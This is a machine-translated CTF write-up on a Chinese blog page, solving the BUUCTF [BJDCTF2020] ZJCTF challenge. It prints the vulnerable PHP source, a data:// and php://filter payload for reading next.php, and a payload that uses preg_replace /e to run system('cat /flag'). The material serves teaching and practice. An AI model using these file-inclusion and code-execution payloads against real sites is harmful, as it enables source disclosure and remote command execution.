当前位置:网站首页>Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[BJDCTF2020]ZJCTF, nothing more than this ( Xiaoyute detailed explanation )
Open questions :
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
By analyzing the code ,get Pass in two parameters text and file,text Parameter utilization file_get_contents() The function opens as read-only , After opening, the content should be consistent with "I have a dream" String matches , To execute the following file contains $file Parameters .
See with file_get_contents() Function on text Parameters , And the following files contain functions , Naturally think of php In pseudo protocol data:// For agreement filter Read the agreement next.php Source code
payload:
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
Here we use base64 decode
Here is preg_replace/e Code execution problem in mode
from https://xz.aliyun.com/t/2557 Learning related issues
I won't go into details here
It's used here \S*=${}
structure payload
next.php?\S*=${
getFlag()}&cmd=system('cat /flag');
边栏推荐
- [string] palindrome string of codeup
- Station B Liu Erden linear regression pytoch
- 多线程应用的测试与调试
- [course notes] Compilation Principle
- 查詢生產訂單中某個(些)工作中心對應的標准文本碼
- Redistemplate common collection instructions opsforvalue (II)
- 嵌入式面试题(一:进程与线程)
- A master in the field of software architecture -- Reading Notes of the beauty of Architecture
- As3013 fire endurance test of cable distribution system
- Li Chuang EDA learning notes 12: common PCB board layout constraint principles
猜你喜欢
【课程笔记】编译原理
[happy Spring Festival] if you feel happy, dance
Hongliao Technology: Liu qiangdong's "heavy hand"
H3C V7版本交换机配置IRF
J'ai un chaton.
養了只小猫咪
Node 之 nvm 下载、安装、使用,以及node 、nrm 的相关使用
How Huawei routers configure static routes
(5) Explanation of yolo-v3 core source code (3)
[paper reading] nflowjs: synthetic negative data intensive anomaly detection based on robust learning
随机推荐
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Eigen稀疏矩阵操作
ArcGIS application foundation 4 thematic map making
查询生产订单中某个(些)工作中心对应的标准文本码
IP day 16 VLAN MPLS configuration
Station B, Master Liu Er - back propagation
IDEA 新UI使用
Yygh-11-timing statistics
HCIA review
[email protected] raspberry pie
实践分享:如何安全快速地从 Centos迁移到openEuler
C language bubble sort
ContentType的作用
Gtest之TEST宏的用法
公司視頻加速播放
H3C防火墙RBM+VRRP 组网配置
AUTOSAR from getting started to becoming proficient (10) - embedded S19 file analysis
Company video accelerated playback
Sequoiadb Lake warehouse integrated distributed database, June 2022 issue
Node 之 nvm 下载、安装、使用,以及node 、nrm 的相关使用